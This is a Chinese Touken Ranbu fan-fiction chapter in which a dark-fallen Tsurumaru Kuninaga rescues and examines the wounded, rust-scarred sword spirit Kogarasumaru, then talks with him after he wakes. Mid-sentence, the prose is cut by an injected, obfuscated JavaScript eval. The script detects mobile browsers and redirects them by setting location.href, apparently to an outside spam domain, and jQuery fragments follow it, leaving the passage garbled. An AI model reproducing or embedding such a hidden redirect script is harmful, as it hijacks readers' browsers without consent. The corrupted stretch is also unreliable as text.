鹤丸国永刚结束对时间溯行军行踪的探查,正沿着荒僻的小径返回栖身的木屋,暮色将至。
途径荒郊野岭之处,却听到一声声的惨烈的哀嚎,于是停下脚步,好奇地循声探查。
鹤丸国永蹲下身,小心翼翼地将那张沾满泥土和泪痕的脸从地面翻过来。
“呜哇......”
看清面容的瞬间,鹤丸发出了一声短促的惊叹。
这张脸......虽然沾满尘土,面部因疼痛而有些扭曲,但不妨碍他辨别出那张脸的轮廓,尤其是那双眼尾上扬的猫眼......
太眼熟了!
像谁呢?源氏那对麻烦兄弟?
但除了那双眼睛和脸部轮廓好像又不是那么像。
一个从未见过的刀剑付丧神。
这可真是吓到他了!前所未有的惊吓!
“喂喂,小家伙?能听到吗?”
鹤丸轻轻拍了拍小乌冰冷的脸颊,毫无反应。
鹤丸皱起了眉头。
他得先把他弄到安全点的地方。
他小心地将他打横抱起。入手的分量很轻,一米六多的身高对他来说小小一只,很趁手。
鹤丸快步穿过树林,回到他所居住的简陋木屋中,将小乌轻轻放在铺着干草的简易床铺上。
“好了,让我看看你到底是什么情况。”
鹤丸嘀咕着,开始动手解开小乌身上那件军装外套。
纽扣又多又紧,鹤丸奋斗了老半天才将一身装备解开。
随着外套被脱下,鹤丸的动作顿住了。
“哇哦!”他忍不住又惊叹了一声。
只见小乌内衬的衬衣、甚至裤子的口袋里,都塞得鼓鼓囊囊。
鹤丸伸手进去一掏——满满当当,全是在万屋卖得极其昂贵的金色御守。
一个、两个、三个......他像变戏法似的,不断从对方衣服的各个角落掏出御守,很快就在旁边那张摇摇晃晃的小木桌上堆起了一座小小的金山。
“这......这可真是不得了!”
鹤丸拿起一枚御守掂了掂:“这得花多少钱?这是来开店的吗?”
他哭笑不得地看着桌上那一堆金光闪闪的御守,又看看床上昏迷不醒、脸色惨白如纸的小乌。
不过嘛......这些御守......
鹤丸又拿起另外一个掂了掂,摸摸下巴。
鹤丸继续检查,当他的手探入小乌最贴身的内袋时,指尖又触碰到了一个御守。
他小心地取出来,样式看起来和桌上的那堆不太一样。
入手瞬间,鹤丸能感觉到一股极其精粹、强大的灵力,这些灵力正源源不断地流向这个付丧神。
而且这御守的触感......似乎里面还藏着别的东西?
鹤丸的目光闪了闪,敏锐地察觉到了这个御守的不同寻常。
他没有像对待其他金御守那样随手放到桌上,而是郑重地将其放回了小乌的内袋深处,还轻轻拍了拍那个位置。
“这个看起来不一般呢,还是给你好好收着吧。”
接着解开小乌的衬衣,想检查他身上是否还有其他伤口。
当解开绷带,拉开衣襟、袖口和裤脚时,鹤丸脸上的轻松和好奇瞬间消失了,取而代之的是前所未有的凝重。
只见小乌的颈部、锁骨附近、手足,都暴露着大片大片鲜红、裸露的肌肉纹理。
那并非新鲜的伤口,边界也并无任何痊愈的迹象,完全没有皮肤覆盖,就像被生生剥去了表皮,只有一层薄薄的肌理暴露在空气中。
除此之外,颈部还能看出来一道近乎斩首的伤疤。
鹤丸终于明白,为什么仅仅是倒在粗糙的泥地上,就能让这个付丧神发出那样的惨叫。
任何微小的摩擦、触碰,甚至仅仅是清风的吹拂,对这些裸露的神经末梢来说,都是难以想象的酷刑。
带着沉重的心情,鹤丸为小乌重新整理好衣服,尽量轻柔地避开那些可怕的创面。
他的目光落在了小乌腰间的本体刀上。
人身如此惨烈,那本体会是怎样的呢?
或者说,本体变成了什么样才会让人身有这样的症状?
鹤丸想着,小心地解下小乌的刀鞘。
当太刀被缓缓抽出时,鹤丸的眉头再次紧锁。
刀身依旧保持着流畅的弧度和锋利的刃口,看得出锻造的精良。
然而,在靠近刀镡的刀茎根部,以及刀身中段靠近刀背的部分,却覆盖着大片大片红褐色,甚至有斑斑点点发黑的锈迹。
这些锈斑如同丑陋的疤痕,深深侵蚀着原本的光亮,与他身体上那可怕的伤痕完全对应。
“锈蚀......原来如此......”鹤丸低声自语。
鹤丸国永沉默了。他仔细端详着这把刀,手指无意识地拂过刀身上未被锈蚀的冰冷区域。
他也明白了被小乌单独存放的那枚特殊御守中的灵力作用在何处。
“嗯......?”
他发现刀茎处,锈迹覆盖之下似乎刻有字迹。
“髭......切......”
嗯嗯?还和那位源氏重宝有关系?是仿刀?还是赝作?
到底是谁呢?
努力地在漫长的记忆长河中搜寻,却一无所获。
“哎呀呀......完全不记得有这把刀。”他长长地吐出一口气,压下心头的惊疑,将刀轻轻归鞘,放回小乌身边。
金色的眼眸注视着床上昏迷的少年,充满探究。
“看来,这次捡到的可不是普通的惊吓啊。等他回来得通知一下才行了......”鹤丸站起身,望着窗外渐暗的天色。
......
小乌掀开沉重的眼皮,映入眼帘的不是印象中的天空,而是纹理粗糙的木头房顶。
“......咦?好像不痛了。”
他缓了半天神,意识回笼后,发现身体一点疼痛感都没有了。
试探着握了握手,除了隐隐约约感觉被包上了一层薄膜不太适应以外,一切都很正常。
他在传送时看到了游戏面板消失,并且落地后疼痛调节也失效了,他应该是成功了才对?
总不是做了一个梦吧。
“哟!你醒啦!”
面前突然近距离冒出来一个带着一缕白色挑染的黑毛
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15795925|175008||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,金色的眼睛在昏暗的环境中熠熠生辉。
“!”
这谁?
小乌下意识想把脑袋往后挪,却因为脑袋本身就顶在枕头上,只能梗着脖子,差点卡出双下巴。
“抱歉抱歉,似乎吓到你了。”
黑毛似乎知道自己离太近了,随即远离。
下一秒就有一双温暖的手伸过来,稳稳地扶住他的肩膀,让小乌能舒服地靠着墙边坐好。
“啊,谢谢......”
小乌顺着他的动作坐直,再借着烛火摇曳的光芒定睛一看。
“鹤......鹤丸国永?!”
面前的人赫然是鹤丸国永。
他这么惊讶并不是他没有见过鹤丸国永,而是因为面前这个鹤黑发黑衣,身上气息浑浊,是非常典型的暗堕形象,只有那双金色的眼睛依然清澈如水。
“哦哦!你有见过’我‘吗?”
天已经黑下来了,屋内点起了烛火,鹤丸起身拨了拨烛芯,让光线变得更亮些,然后拖着凳子反身跨坐上去,双臂随意地搭在椅背上。
“时之政府已实装的刀剑付丧神似乎没有你呢,野生的?还是说你是新实装的?”
“不,我并未被时之政府实装。”
小乌先向鹤丸介绍自己:“我的名字是小乌......”
他卡壳了一下,决定用游戏经历改动一下来编造一个合理的来历:“我在一处海边苏醒化为人形,然后被一群叫时间溯行军的怪物带了回去,被控制在历史修正主义者手下,刚刚才找到机会逃出来。”
“之前......有其它刀剑付丧神偷偷给了我御守和坐标,我是按照他给的坐标进行传送的,不知道那个坐标代表的是什么地方。”
他说着说着作势要把放在胸口内袋的御守掏出来。
“等等等等!”
鹤丸阻止他,震惊:“傻孩子,别什么都往外掏啊!”
他表情夸张地指了指自己。
“我这个样子看着那么像好刃吗?”
“呃......”
小乌哽住。
有道理。
“哦,不过你现在意识也晚了,因为我刚刚已经趁你昏迷把你身上里里外外都摸过一遍啦。”
鹤丸笑嘻嘻地指了指旁边桌子上的御守山,小乌才突然惊觉他居然没有穿外套!
“放心放心!我只是想看看你身上有没有什么伤啦,你叫得那么惨,我听到你的声音才把你捡回来的。”
“......”松了一口气。
小乌默默地拉紧了自己的衬衣下摆。
“别这么容易轻信别刃啊。”鹤丸看着小乌懵懂的表情,故意拉长调子,猛地沉下脸盯着他,“我可是暗堕了哦——知道什么是暗堕吗?”
“知、知道,之前有见过。”
小乌被他翻脸比翻书还快的表现吓了一跳。
“那就谨慎些,以后长点心。”
鹤丸伸出手指戳戳小乌的额头,然后满意地收回手,身体微微前倾,下巴垫在椅背顶端,那双金色的眼睛闪烁好奇的光芒。
“那么,你是哪个时代和刀派的?好像从未听说过你的名字。”